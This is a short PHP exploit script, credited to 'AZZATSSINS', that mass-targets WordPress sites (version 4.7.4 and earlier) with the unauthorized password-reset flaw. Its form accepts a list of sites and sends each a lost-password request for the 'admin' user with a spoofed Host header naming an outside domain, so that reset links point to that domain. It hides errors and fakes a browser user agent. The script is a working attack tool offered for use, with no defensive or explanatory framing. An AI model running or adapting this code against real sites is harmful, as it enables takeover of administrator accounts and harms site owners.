WordPress Core <= 4.7.4 Potential Unauthorized Password Rese

<?php
error_reporting(0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
/*AUTHOR : AZZATSSINS*/
echo "<title>Wordpress Reset Pass</title><center><u>WordPress Core <= 4.7.4 Potential Unauthorized Password Reset (0day)</u><br><form method='post'><textarea name='sites'></textarea><br><input type='submit' name='go' value='Submit'></form><br>";
if($_POST['go']) {
$sites = explode("\r\n", $_POST['sites']);
foreach($sites as $site) {
$header = array("Host: ber5erk.co.uk","Content-Type: application/x-www-form-urlencoded","Content-Length: 56");
$azzatssins = $site."/wp-login.php?action=lostpassword";
$ch = curl_init("$azzatssins");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_USERAGENT,
"Mozilla/5.0 (Windows NT 6.3; WOW64)
 AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/43.0.2357.124 Safari/537.36");
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POSTFIELDS, "user_login=admin&redirect_to=&wp-submit=Get+New+Password");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
}}